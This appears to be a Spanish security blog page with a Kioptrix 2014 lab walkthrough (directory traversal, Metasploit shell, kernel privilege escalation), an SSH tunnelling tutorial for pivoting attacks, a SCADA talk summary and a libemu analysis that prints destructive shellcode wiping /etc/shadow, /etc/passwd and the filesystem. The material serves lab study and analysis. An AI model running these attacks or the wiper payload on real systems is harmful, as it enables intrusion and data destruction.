Un blog de Seguridad Informática, desde un punto de vista tecnológico

exploit

Welcome to Kioptrix VM 2014 – Walkthrough

Introducción

Con este post se inicia una pequeña serie de artículos con las soluciones a determinadas máquinas de Vulhub (https://www.vulnhub.com/cuyo nivel de dificultad es parecido a algunas de las máquinas que hay en el laboratorio de la certificación OSCP (https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/) y que por tanto pueden servir como preparación para la certificación (o refrescar conocimientos). El listado de estas máquinas, ordenado de menor a mayor dificultad, es:

  1. Kioptrix 2014 https://www.vulnhub.com/entry/kioptrix-2014-5,62/
  2. FristiLeaks https://www.vulnhub.com/entry/fristileaks-13,133/
  3. Stapler https://www.vulnhub.com/entry/stapler-1,150/
  4. VulnOS https://www.vulnhub.com/entry/vulnos-2,147/
  5. SickOs https://www.vulnhub.com/entry/sickos-12,144/
  6. Brainpan https://www.vulnhub.com/entry/brainpan-1,51/
  7. HackLAB Vulnix https://www.vulnhub.com/entry/hacklab-vulnix,48/
  8. /dev/random scream https://www.vulnhub.com/entry/devrandom-scream,47/
  9. pWnOS https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
  10. SkyTower https://www.vulnhub.com/entry/skytower-1,96/

Ahora es turno de ver cómo se resuelve la máquina Kioptrix 2014, y de la metodología que se ha seguido, paso a paso. En el resto de máquinas no se ofrecerá tanto detalle como en esta.

Information gathering

Información, la información es la clave. Enumerar, enumerar y volver a enumerar. Cuanta más información se obtenga del objetivo más fácil será ganar la partida, conseguir llegar a ser root.

Para empezar, obviamente, lo primero es obtener la dirección IP de la máquina objetivo. Esto se consigue mediante el uso del comando “netdiscover -r “:

Una vez ya se sabe la dirección IP el siguiente paso es realizar una enumeración de puertos e identificación de servicios. Es necesario conocer cómo la máquina se comunica con el exterior, ya que estas comunicaciones serán los potenciales vectores de entrada.

Nota: En algunos libros/metodologías  he visto como esta “parte” se considera una fase independiente de “information gathering”, sin embargo, personalmente yo creo que debe estar incluida dentro.

Para realizar la enumeración de servicios (port scanning) existen diferentes tools y maneras de proceder.En este caso, se va a intentar realizarlo de la manera más eficaz posible y comprobando todos los puertos.

1-Se realiza un scan de los 100 puertos más importantes: nmap  -T4 -Pn -F –open –reason $Ip

Se han obtenido los siguiente resultados:

a) Puerto 80 con un servicio http

b) Puerto 8080 con un servicio HTTP-proxy

2- Obtener más información de los servicios detectados en el paso 1. El comando es: nmap -T4 -Pn -sV -O -p 80,8080 –open –reason $IP 

 

Se han obtenido los siguiente resultados:

a) Hay un Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8

b) El sistema operativo es, probablemente, un Linux FreeBSD 2.6.18-2.6.22

3- Finalmente, realizar un scan de todos los puertos. Este paso requerirá mucho tiempo, por eso es recomendable realizar otras tareas en paralelo, una buena idea es investigar más en profundidad la información obtenida con anterioridad.

Para realizar el scan a todos los puertos, hay diferentes opciones:

a) Utilizar el script “One-two punch” de superkojiman:

1) echo 192.168.8.139 > ip.txt

2) bash onetwopunch -t ip.txt -p tcp -n -A

3) bash onetwopunch -t ip.txt -p udp -n -A

Nota: Es posible utilizar el parámetro “-p all”, para realizar a la vez TCP y UDP pero algunas veces da errores de ejecución.

 

O bien:

a) Escanear todos los puertos TCP con nmap y utilizar el parámetro -A

b)Escanear todos los puertos UDP con la tool “unicorn” o el auxiliary scan UDP de Metasploit

Una vez se han finalizado todos los scan, se realiza una recopilación de toda la información obtenida para su análisis y definición de los posibles vectores de ataque y su priorización. El procedimiento que se sigue recibe el nombre de “The low hanging fruit” y básicamente consiste en analizar y comprender toda la información que se obtiene para ordenar dichos vectores de ataque de los más sencillos y simples a los más complejos. Además,  de esta manera se evita el efecto túnel, es decir, centrarse en un único vector y empeñarse en que ese es el vector definitivo.

Si se me permite el homenaje, este procedimiento recuerda a grandes rasgos al modelo deductivo de Sherlock Holmes, donde a base de recoger indicios y  el análisis de las pruebas, se investiga cada  con más detalle hasta llegar a la única deducción posible.

“Una vez descartado lo imposible, lo que queda, por improbable que parezca, debe ser la verdad

Por lo tanto, los vectores de ataque definidos son:

1- Puerto 80 abierto con un servicio HTTP (web)

2- Puerto 8080 abierto con un servicio HTTP

3- Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21, PHP 5.3.8

4- Sistema operativo Linux FreeBSD 2.6.18-2.6.22

Análisis de vulnerabilidades

En este punto, la atención se va a centrar en cada uno de los vectores descritos, (excepto el 4- Sistema operativo dado que aún no se dispone de acceso local) intentando obtener información más específica de cada uno de ellos y así determinar las probabilidades de explotación.

Puerto 80 con un servicio HTTP (web)

La batería de pruebas que se ha de realizar siempre a un servicio web es la siguiente:

1- Navegar por la web y el fichero robots.txt

2- Análisis de las cabeceras

3- Análisis del código fuente

4- Enumeración de directorios

5- Nikto

Denotar que los puntos 4 y 5 son los que pueden requerir más tiempo, así que se una buena táctica es lanzar una tool de enumeración de directorios o Nikto y de mientras, realizar los puntos del 1 al 3.

Los resultados son los siguientes:

1- La navegación de la web se aconseja realizarla a través de Burp, o si se prefiere realizar una pasada muy rápida, utilizar curl puede ser una muy buena opción.

curl -i -L -s 192.168.8.139

Mediante las cabeceras obtenidas se confirman de nuevo las versiones de software de Apache, pero en el código fuente se ha detectado un path nuevo:

a) pChart2.1.3/index.php

b) El fichero robots.txt no existe

Si se utiliza otras opciones de curl es posible obtener algo más de información:

2- El éxito de la enumeración de directorios dependerá en gran medida de la lista que se utilice para realizar el fuzzing. Se recomiendan las siguientes:

En este caso utilizaremos la lista common.txt de Dirb.

Las herramientas que se pueden utilizar dependen mucho de los gustos personales de cada uno. Dirb es una de las más famosas, pero últimamente la tool que más estoy utilizando es gobuster.

3- Con la tool Nikto se ha obtenido más información:

Pero especialmente interesante es:

Puerto 8080 con un servicio HTTP

En este caso, al tratarse de un servicio web se repiten los pasos anteriores

1- Análisis de la web

Se obtiene un código 403 Forbidden, no se dispone de permiso de acceso. En este punto, es mejor parar las pruebas en este vector y ver si hay otros más fáciles.

Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21

Este vector está enfocado claramente al uso de software obsoleto. Los pasos a seguir siempre en estos casos son:

1- Identificación de la versión

2- Búsqueda de vulnerabilidades y exploits

3- Analizar si el exploit aplica o no en el escenario

En esta ocasión se va a proceder a buscar exploits utilizando Google y searchsploit

Existe un exploit con el nombre OpenFuck con dos versiones. Y es remoto, podría ser una buena opción.

Resumen del análisis de los vectores de ataque

Una vez se ha realizado un análisis preliminar de los vectores de ataque, vale la pena valorar toda la información en su conjunto.

1- Hay un servicio web en el puerto 80 que indica un path con el nombre pChart

2-Hay un posible exploit, OpenFuck que afecta al Apache instalado

3- Hay un servicio web en el 8080, pero es necesaria algún tipo de autenticación.

Entonces, en base a esto, los vectores de ataque más factibles son sin duda el 1 y el 2. Entre ellos, un exploit remoto puede ser la forma más directa y “fácil” de conseguir el acceso a la máquina, pero antes de darle al botón rojo y ejecutarlo, es recomendable realizar una pequeña leída tanto al código como a la descripción de la vulnerabilidad.

 

El exploit consiste en la explotación de un buffer overflow, pero el problema ocurre durante la negociación del protocolo SSLv2. Si se repasa con atención toda la información que se ha obtenido es fácil descartar el uso de este exploit, debido a que no aplica en el contexto actual. Ninguno de los puertos activos está utilizando SSL. Por lo tanto, mejor no dedicarle más tiempo a este vector y olvidarlo.

En conclusión, el vector de ataque que merece la pena seguir estudiando es el vector 1.

Explotación de pChart

Tal y como se ha comentado anteriormente, la información es la clave. En este caso, el nombre de pChart con una versión no parece ser algo aleatorio. Google es un gran aliado en estos escenarios.

Realizando una búsqueda en Google con los términos “pChart  2.1.3” el primer enlace ya conduce a exploit-db (https://www.exploit-db.com/exploits/31173/). Perfecto, pero antes de ejecutar ya los posibles exploits es recomendable recolectar algo más de información genérica e identificar el “término”. En este caso,  pChart (http://www.pchart.net/) es una libreria/framework de PHP para crear gráficos.

Se repiten las mismas pruebas descritas con anterioridad para obtener aún más información.

1- Curl y navegación

2- Enumeración de directorios

 

3- Nikto

Se ha detectado un fichero ../readme.txt que permite identificar claramente la versión de pChart utilizada

En este punto, como se dispone de la versión exacta de pChart ( y recordando lo encontrado en Google) se utiliza la tool searchsploit:

Y…bingo, hay un directory traversal:

Se comprueba si la explotación es efectiva:

Y se obtiene el fichero /etc/passwd. Por lo tanto, se dispone de acceso a cualquier fichero ( si los permisos son los correctos) del sistema.

Una de las posibles acciones a realizar a partir de aquí sería empezar a descargar cualquier fichero del sistema, pero si se presta atención, anteriormente se ha detectado que hay un servicio en el puerto 8080 al que no se puede acceder por falta de autorización. Sería interesante saber que hay “allí”.

Siempre que haya acceso al sistema y hayan servicios activos, una de las primeras acciones a realizar es obtener el fichero de configuración de cada uno de estos servicios.

Considerando que se conoce que el sistema es un FreeBSD y el software es Apache otra simple búsqueda en Google proporciona la ubicación del fichero de configuración que se desea.

 

La obtención del fichero se realiza de la siguiente manera:

Dentro del fichero de configuración, se encuentra la “autenticación” necesaria para acceder al puerto 8080:

Y con otra búsqueda en Google (una más) se comprende la directiva “Allow from env”.

En conclusión, para acceder al puerto 8080 es necesario “autenticarse” utilizando el user-agent de “Mozilla4_browser“. En base a la documentación de Mozilla (https://developer.mozilla.org/es/docs/Web/HTTP/Headers/User-Agent) se trata de algo tan simple como:

Se ejecuta el siguiente comando:

El resultado, tal y como se ve, es que se accede al puerto 8080 y se obtiene otra “pista”, en este caso el nombre “phptax

En este momento, la información útil de la que se dispone es:

1- Puerto 80 con el software pChart 2.1.3 vulnerable a path traversal que permite obtener ficheros del sistema

2- Puerto 8080 con el servicio web autorizado y un nombre “phptax”.

3- Con el directory traversal hemos obtenido el listado de usuarios y sabemos que el sistema operativo es FreeBSD release 9.0 

La mejor opción es repetir el proceso seguido con pChart pero ahora con phptax.

Explotación de phptax

Nota: Dado que ya se ha visto con anterioridad el proceso de investigación, para que la lectura sea más ágil únicamente se muestra la información más relevante.

A continuación se listan las preguntas básicas que se han de saber responder:

1- ¿Qué es phptax?

PhpTax is free software to do your U.S. income taxes

2-¿Qué información tenemos de phptax?

a) Tool Dirb

b) Versión de phptax

3- ¿Es vulnerable la versión 0.8?

Sí. Mucho. Con exploit-db y Metasploit.

Con toda esta información, ya se puede a proceder a realizar la explotación con Metasploit de la siguiente forma:

Pam, ya se dispone de una shell en la máquina víctima.

Elevación de privilegios

Una vez ya se está dentro del sistema se ha de volver a iniciar todo el proceso de investigación para determinar qué vector de ataque es el más idóneo para alcanzar root. En esta fase es muy importante el orden e ir de menos a más, de lo más simple a lo más complicado, pues es relativamente sencillo empezar a buscar por todo el sistema la manera “mágica” de obtener root y finalmente, acabar instalado en el caos absoluto.

Information gathering

Para realizar el information gathering se utiliza principalmente la guia “Basic Linux Privilege Escalation”  de g0tmi1k.(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/).

Las preguntas esenciales que se han de responder son:

1-¿ Qué información sabemos ya?

Se trata de un FreeBSD 9.0 y tenemos un listado de usuarios. Esta versión es del año 2013. Obsoleta.

2-¿Qué sistema operativo es?

uname -mrs / uname -a

FreeBSD 9.0-Release amd64

3- ¿Quien soy?

id

uid=80(www) gid=80….

4- ¿Qué usuarios hay?

ls /home/

cat /etc/passwd | cut -d: -f1

5- Qué lenguajes están soportados?

find / -name perl*

perl -v

perl 5, version 12

find / -name gcc*

gcc -v

gcc version 4.2.1

find / -name python*

/usr/local/bin/python -v

Python 2.7.2

Esta información servirá de guía para poder escoger mejor que exploit utilizar, ya que es recomendable (siempre que sea posible) compilar el exploit en la misma máquina víctima, pero para eso es necesario que el lenguaje esté instalado.

6- ¿Qué comandos están permitidos para establecer comunicaciones al exterior?

Se utiliza el comando which, ya que realizará la búsqueda en base al PATH del usuario. El comando find también puede ser utilizado.

which nc

/usr/bin/nc

which telnet

/usr/bin/telnet

which wget

No hay respuesta.

which ftp

/usr/bin/ftp

which tftp

/usr/bin/tftp

Por lo tanto, si se ha de realizar cualquier transferencia de archivos entre máquinas, los comandos a utilizar han de ser nc o telnet (entre otros), descartando wget.

Análisis de vulnerabilidades

Las primeras vulnerabilidades que se han de probar son:

1- Comprobar el funcionamiento de sudo, y que el password del usuario no sea trivial.

En este caso, se utiliza sudo -l o sudo -V. La respuesta es “Not found”.

2-Si el sistema operativo está desactualizado, ¿Hay exploit de elevación de privilegios?

Muchas veces la búsqueda de exploits de kernel o de sistema operativo para conseguir la elevación de privilegios acaba siendo un infierno, sobretodo si no hay ninguno….o por el contrario, hay muchos. ¿Cuál utilizar?

Bien, el hecho de saber que lenguajes están instalados en la máquina víctima ya ayuda a descartar (o poner en reserva) algunos de los exploits. Y otra buena ayuda es buscar información de esos exploit en Google y probar primero los 3-5 exploits “más populares” considerando el número de referencias. Lamentablemente, esto no es matemático, son solo pequeños trucos para ayudar a priorizar.

Para localizar los exploits que podrían afectar al sistema, hay varias tools:

1- Google

2- searchsploit

3- Tools como Linux Exploit Suggester (https://github.com/PenturaLabs/Linux_Exploit_Suggester)

4- Webs

En este caso, se han obtenido dos exploits:

a) FreeBSD 9.0< 9.1 mmap/ptrace (con 556 resultados en Google)

b) FreeBSD 9.0 – Intel SYSRET Kernel privilege ( con aproximadamente 6420 resultados en Google)

Los dos exploits están escritos en “c” por lo que pueden ser compilados en la máquina víctima. Pero si se ha de priorizar, mejor empezar a probar el FreeBSD 9.0 Intel SYSRET.

Es importante, antes de ejecutar cualquier código, primero leer y comprender a nivel general que hace y que requiere. Muchas veces el exploit correcto no funcionará debido a que hay alguna trampa en el código, o simplemente se hayan de modificar pequeños detalles, como un path, un nombre etc..

Explotación

Recapitulando, aquí está la lista de toda la información básica disponible sobre el sistema víctima y posibilidades de ataque:

1- Es un sistema FreeBSD 9.0, 64 bits, y obsoleto

2- El atacante es el usuario www, sin privilegios

3- No parece que haya usuarios activos (no hay nada en /home) aparte de root

4- Dispone de varios lenguajes de programación instalados, entre ellos, gcc

5-Las comunicaciones con el exterior, se han de realizar con netcat, telnet o ftp

6- Hay dos exploits candidatos

Por lo tanto, está claro que “la fruta más madura” o el vector más propicio, es probar el exploit Intel Sysret, y si no funciona, probar el segundo

Explotación con Intel SYSRET

El procedimiento es el siguiente:

1- Transmisión desde la máquina atacante a la víctima. En esta máquina, hay que tener cuidado con el sentido de la conexión con el comando nc.

a) cp /usr/share/exploitdb/platforms/freebsd/local/28718.c /tmp/kioptrix_priv_intento1.c

b) En la máquina atacante

c) En la máquina víctima

2- Compilación del exploit

3- Ejecución

Et voilà ! Root.

En el caso que no hubiera funcionado este exploit, el procedimiento hubiera sido el siguiente:

1- Probar el segundo exploit

2- Realizar otra vez la fase de information gathering con más detalle, buscando por ejemplo ficheros suid, problemas en el path, revisar los logs de acceso…

3- Definición de nuevos vectores de ataque

4- Si se sigue sin conseguir root, realizar otra vez el paso 2, elevando la intensidad, por ejemplo, procesos que se estén ejecutando, revisar el cron, software instalado etc

La idea es ir de lo más simple a lo más complejo, pero sin olvidar que hay que analizar todo en su conjunto evitando la mirada túnel, porque a lo mejor la solución está en encadenar varias vulnerabilidades.

Disfrutad de la máquina 😉

 

 

 

 

Anuncios

SSH – Port Forwarding

En este post se explicará como realizar port forwarding con ssh y se verá alguna de sus posibles aplicaciones.

Introducción

El protocolo ssh es comúnmente utilizado para acceder a un terminal/sistema remoto y poder ejecutar comandos de forma segura. Sin embargo, también es posible utilizar este protocolo para realizar port forwarding, es decir, reenviamiento de puertos mediante la creación de túneles ssh entre los extremos de la conexión.

Con este mecanismo es posible realizar evasiones de firewall o bloqueos de puertos, independientemente de que el emisor-receptor se encuentren en redes diferentes, siempre que haya la posibilidad de conectarse mediante SSH.

Escenario de demostración

Para realizar esta demo se han utilizado tres máquinas diferentes en dos redes, externa e interna:

  1. Kali Linux de nombre “Sheron” y IP 192.168.1.58, con un cliente SSH y cuyo rol es el de ser la máquina atacante. Se encuentra en la red externa.
  2. Kali Linux de nombre “Goku” y con dos direcciones IP: 192.168.1.46 y 192.168.2.136, con un servidor ssh y cuyo rol es el de router entre la red externa (192.168.1.XX) y la red interna (192.168.2.XX).
  3. Windows XP de nombre “Mutenroshi”, con IP 192.168.2.133, cuyo rol es ser, como no, la máquina víctima. Se encuentra en la red interna.

Este escenario intenta simular un ataque realizado desde Internet hacia el router de la víctima, y una vez el atacante tiene el control de dicho router mediante el uso de túneles ssh puede interaccionar con las máquinas de la red interna.

Nota: Únicamente el router tiene visibilidad de las dos redes, la máquina atacante no puede ver directamente la máquina víctima.

Parte I: Comunicaciones entre el atacante y el router

Local Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP 192.168.1.58 desde Internet
  2. Víctima: Router con IP 192.168.1.46 accesible desde Internet

Nota: En este escenario, el atacante ya ha conseguido previamente un usuario del router

El objetivo es conseguir que un servicio publicado del router sea redireccionado a la máquina atacante. En este caso concreto, se enviará el puerto remoto 80 del router al puerto local 8080 de la máquina atacante.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58) :

ssh -N -f -L localhost:8080:localhost:80 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • N: No se ejecutan comandos remotos, únicamente se establece conexión.
  • f: Se envía ssh a background.
  • L: Como el servicio deseado esta siendo publicado por el servidor ssh en el router, no por el cliente ssh en la Kali atacante, se ha de realizar un Local Port Forwarding. El concepto sería que el cliente de ssh se “trae” localmente el servicio remoto publicado por el servidor ssh.
  • <puerto destino del cliente ssh>:<ip origen de la red interna del servidor ssh:puerto origen de la ip de la red interna del servidor ssh> <user@ip_servidor ssh>
  • <local port to listen>:<remote host>:<remote port> <gateway>

screen1

Remote Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP 192.168.1.58 desde Internet
  2. Víctima: Router con IP 192.168.1.46 accesible desde Internet

El objetivo es conseguir publicar un servicio local del cliente ssh (atacante) de forma remota en el servidor ssh (router). Se enviará el puerto local 80 de Kali Linux con  IP 192.168.1.58 al puerto remoto 8085 del router con IP 192.168.1.46.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58):

ssh -N -f -R localhost:8085:localhost:80 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • R: En este caso, el servicio se está publicando en el cliente ssh (atacante), por lo tanto hay que “enviarlo” al servidor ssh (router), esto se realiza mediante un Remote Port Forwarding.
  • <puerto destino de la dirección ip del servidor ssh><ip origen de la red del atacante:puerto origen de la ip de la red del atacante> <user@ip_servidor ssh>
  • <remote port to bind>:<local host>:<local port> <gateway>

screen2

Truco

Para saber si hay que realizar Local o Remote port forwarding, un truco sencillo es “ubicar” el servicio que se desea redirigir. Si el servicio está publicado en el servidor ssh y se desea publicarlo en el cliente, entonces es Local, por el contrario, si el servicio se encuentra en el cliente ssh y se desea publicar en el servidor ssh, entonces será Remote.

Parte II: Atacando a la red interna – Servidor ssh como máquina puente

En este punto, el atacante (Kali Linux con  IP 192.168.1.58) quiere atacar a la máquina víctima Windows XP (IP 92.168.2.133) ubicada en la red interna y que no es visible desde el exterior. Para conseguir este hito el atacante utilizará el router ( que tiene un servidor ssh instalado) como máquina puente.

Local Port forwarding desde la máquina víctima a la máquina atacante 

El objetivo es conseguir redirigir (o para entendernos, capturar) el servicio RDP de la máquina Windows XP (interna) a la máquina atacante  (externa) mediante el servidor de ssh (router)  . En este caso concreto, se enviará el puerto 3389 de Windows XP (192.168.2.133) al puerto 9090 de máquina atacante (192.168.1.58) utilizando para ello el router (servidor de ssh), como máquina de salto.

Para lograrlo, se ejecuta lo siguiente en la máquina atacante:

 ssh -N -f -L localhost:9090:192.168.2.133:3389 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • L: Como el servicio deseado esta siendo publicado por una dirección IP de la red interna del servidor ssh y/o no es un servicio propio del cliente ssh, la máquina atacante realiza un Local Port Forwarding para “traerse” el servicio
  • <puerto destino del cliente ssh><ip origen del lado servidor ssh:puerto origen del lado servidor ssh> <user@ip_servidor ssh>

En este punto es importante remarcar que cuando se realiza un Local Port al cliente ssh, el puerto redirigido puede acceptar conexiones externas de otras máquinas. La instrucción sería:

ssh -N -f -L 0.0.0.0:port cliente:ip red interna:port_ip_red_interna user@server_ssh

screen3

Remote Port forwarding desde la máquina atacante a la máquina cliente sin usuario root del servidor ssh

En el apartado anterior se ha comentado la posibilidad de permitir conexiones entrantes a un servicio redirigido locamente al cliente ssh. Pero,por seguridad, no es posible permitir que el servidor ssh acepte conexiones entrantes a un servicio publicado mediante Remote Port forwarding… ¿Seguro que no es posible?

La respuesta a esta pregunta es que utilizando diferentes técnicas sí que es posible, pero es un poco más complicado que lo visto hasta ahora. Se puede realizar si el atacante es root del servidor ssh o utilizando dos túneles y/o el parámetro -g (bendito parámetro).

Aceptación de conexiones entrantes mediante dos túneles

El objetivo es conseguir publicar el servidor web de la máquina atacante en el servidor ssh (router) y que la máquina víctima de la red interna se pueda conectar.

En la máquina atacante (cliente ssh) se utiliza la siguiente instrucción:

ssh -R localhost:7894:localhost:80 nyanyi@192.168.1.46

screen5

 

Ahora, en el  ROUTER, se ejecuta la siguiente instrucción:

ssh -g -L 8282:localhost:7894 nyanyi@localhost

  • El parámetro g, extraído directamente del man de ssh: Allows remote hosts to connect to local forwarded ports.

screen7

Otra manera de hacerlo, inclusive sin el parámetro g es:

ssh  -L 0.0.0.0:8226:localhost:7894 nyanyi@localhost

screen6

Aceptación de conexiones entrantes siendo root del servidor ssh

En el caso que el atacante disponga del usuario root (o usuarios con privilegios sudo) puede modificar la configuración del servidor ssh para que acepte conexiones entrantes en puertos redirigidos de forma remota.

El fichero que se ha de modificar es: /etc/ssh/sshd_config y se ha de escribir la siguiente opción: GatewayPorts clientspecified

Luego: sudo /etc/init.d/ssh reload

Y finalmente, la instrucción que se ha de ejecutar desde el cliente ssh es:

ssh -R 0.0.0.0:8095:localhost:80 nyanyi@192.168.1.46

Nota: En este caso, con una sola instrucción ya sirve, en contraposición con el caso anterior, que se necesitan dos instrucciones. Eso si, se ha de ser root.

Comprobaciones de las conexiones

A continuación se listan varios comandos con “netstat” que se pueden utilizar para comprobar el estado de las conexiones realizadas:

  • netstat -punta
  • netstat -ltn

screen8Parte III: Caso Práctico – Atacando con Metasploit a la víctima

En este punto, el atacante dispone de lo siguiente:

1- Acceso a la maquina router con usuario “low privilege”.

2- Conoce que en la máquina Windows XP se está ejecutando un software vulnerable “WarFTP ver 1.65” en el puerto 21 y que hay un exploit en Metasploit.

screen10

3- Al no haber visibilidad entre la máquina atacante y la víctima (redes diferentes) se ha de utilizar la máquina router y su servidor de ssh para redirigir las comunicaciones.

Nota: Los puertos que se utilizan en este escenario (excepto el 21) son aleatorios.

Local Port Forwarding del puerto 21 de la máquina víctima a la máquina atacante

En la máquina atacante, se ejecuta la siguiente instrucción:

ssh -N -f -L 5668:192.168.2.133:21 nyanyi@192.168.1.46

En este momento, en  la máquina atacante está publicado en el puerto 5668 el puerto 21 (servicio War FTPD vulnerable) de la máquina Windows XP (víctima) utilizando el router como máquina de salto.

Remote Port Forwarding del puerto 2682 de la maquina atacante al servidor ssh

El atacante tiene diferentes opciones para realizar la conexión con el payload, como podría ser utilizar una máquina con una dirección pública o inclusive un payload de conexión directa (bind shell). Pero en esta demo se va a realizar mediante una reverse shell dado que se requiere una configuración más compleja.

Al utilizar Metasploit, es necesario redirigir un puerto de la máquina atacante en el servidor SSH para que el payload (meterpreter) realice la conexión a traves de una  reverse shell hacia este puerto.

En la máquina atacante se ejecuta la siguiente instrucción:

ssh -R 7895:localhost:2682 nyanyi@192.168.1.46

Y ahora es necesario configurar en el servidor ssh que se acepten conexiones remotas. Por lo tanto, en el servidor ssh se debe ejecutar alguna de las siguientes instrucciones:

ssh -g -L 2682:localhost:7895 nyanyi@localhost

ssh -L 0.0.0.0:2682:localhost:7895 nyanyi@localhost

screen11

Nota: Recordar que también es posible modificar la configuración del servidor ssh si se dispone del usuario root.

Configuración del ataque con Metasploit

La configuración del ataque con Metasploit se realiza de la siguiente manera:

screensho12

Donde:

  • RHOST: Se indica la dirección 0.0.0.0 ya que el exploit será lanzado contra la misma máquina cliente (atacante) ya que tiene redirigido el puerto de la máquina víctima.
  • RPORT: Se indica 5668 por que es el puerto que redirige al puerto 21 de la maquina víctima. En resumen, se lanzara el ataque a la misma máquina atacante por que mediante la redirección de puertos por ssh realmente el ataque alcanzará a la máquina víctima.
  • Atención: Metasploit y los túneles SSH suelen dar problemas.  Es más recomendable utilizar dynamic port forwarding ( SSH -D port) y las instrucciones “set Proxies socks4:0.0.0.0:port”
    y “set ReverseAllowProxy true”
     que no redireccionamientos con  -L o -R. En el caso de utilizar puertos remotos o locales, como en este ejercicio, no hay que utilizar NUNCA la dirección 127.0.0.1 en RHOST, ya que podría impedir el correcto funcionamiento del exploit/payload utilizado. Se puede substituir por la dirección 127.0.0.2 o semejantes, aunque lo mejor en estos casos, es utilizar la dirección 0.0.0.0
  • LHOST: Se indica la dirección IP del servidor ssh visible desde la red de la víctima.
  • LPORT: Se indica el puerto redirigido remotamente desde la máquina atacante al servidor ssh.
  • Mediante la configuración de LHOST y LPORT cuando se ejecute el payload, éste intentara conectarse al servidor SSH que a su vez, redirigirá las comunicaciones a la máquina atacante mediante los puertos SSH creados.

A continuación se muestra una imagen de como el ataque tiene éxito:

screensho14

Nota: Esta fuera del alcance de este post explicar conceptos de metasploit.


“Kicking around SCADA!” en RootedCON 2014

Los pasado días 6, 7 y 8 de Marzo se celebró en Madrid la V edición de las RootedCON. En ella, nuestro compañero Juan Vázquez (@_juan_vazquez_) y yo mismo (@julianvilas) tuvimos la oportunidad de presentar el resultado del trabajo de investigación sobre SCADA que llevábamos realizando los últimos meses.

La ponencia se tituló “Tú a Boston Barcelona y yo a California Tejas. A patadas con mi SCADA!”, y en ella explicamos las vulnerabilidades que encontramos en el producto Yokogawa CENTUM CS3000, un Sistema de Control Distribuido (DCS/SCADA) desplegado en más de 7.600 instalaciones a lo largo del mundo (según el fabricante), utilizado en refinerías, petroquímicas, sector energético, oil&gas, y un largo etcétera de entornos considerados infraestructuras críticas.

Se encontraron vulnerabilidades a nivel de configuración del entorno / software base, a nivel de diseño de los protocolos (ausencia de cifrado, autenticación, control de integridad, etc.), y a nivel de implementación. Estas últimas se corresponden con los advisories publicados por el fabricante y por el ICS-CERT (CVE-2014-0781, CVE-2014-0783, CVE-2014-0784), vulnerabilidades provocadas por desbordamientos de buffer en el stack y en el heap que permiten ejecución remota de código, para las cuales ya se han publicado tanto parches como pruebas de concepto (exploits) en Metasploit Framework.

También hicimos una demostración de posibles acciones de post-explotación una vez comprometido el sistema, en la que troyanizábamos las comunicaciones entre las estaciones de operación (HIS) y el controlador (FCS). Para finalizar la charla contamos también los resultados de escanear internet gracias a la colaboración de Rapid7 y su proyecto Sonar, que realiza este tipo de escaneos.

Podéis ver las slides de la charla en Slideshare, y tan pronto como la organización de RootedCON publique los vídeos actualizaremos el post.

Agradecer desde aquí a la RootedCON y a todos sus asistentes el habernos permitido pasar un tan buen momento.

Saludos!


libemu para el análisis dinámico del fake 0 day para OpenSSH

En la entrada anterior hemos recogido el análisis estático del falso 0 day para openssh y la shellcode utilizada para ejecutar el payload dañino:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Sin embargo para un rápido análisis dinámico del falso 0 day, y concretamente de su payload, NX puede suponer un escollo, tal y como ha comentado Eloi Sanfelix a través de twitter.

En este caso, la libemu nos puede venir de perlas para poder hacer un análisis rápido de la shellcode:

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

Podemos utilizar la utilidad “sctest” que acompaña a la librería:

$ sctest -S -s 30 < shellcode.bin verbose = 0 execve int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]); stepcount 30 int execve (      const char * dateiname = 0x0012fe8a =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x0012fe7a =>
               = 0x0012fe8a =>
                   = "/bin/sh";
           = 0x0012fe7e =>
               = 0x0012fe92 =>
                   = "-c";
           = 0x0012fe82 =>
               = 0x0041701d =>
                   = "echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Por comentarlo, las llamadas al sistema que “emu_env_linux_new()” hookea por defecto (y que por tanto podríamos monitorizar con “sctest” tal y como lo hemos lanzado) están definidas en el array “syscall_hooks”, en el fichero “env_linux_syscalls.h” y son las siguientes (para el entorno linux!):

"accept"
"bind"
"connect"
"dup2"
"execve"
"exit"
"fork"
"getpeername"
"getsockname"
"getsockopt"
"listen"
"recv"
"recvfrom"
"recvmsg"
"send"
"sendmsg"
"sendto"
"shutdown"
"socket"
"socketpair"

Por cierto, poco a poco, vamos avanzando los bindings de la libemu para ruby, que están disponibles en https://github.com/testpurposes/ruby-libemu (ojo! los bindings están totalmente en fase de desarrollo!!, y además lo avanzamos muy poco a poco :P, pero tal vez a alguien le puede ser útil o interesante 🙂 )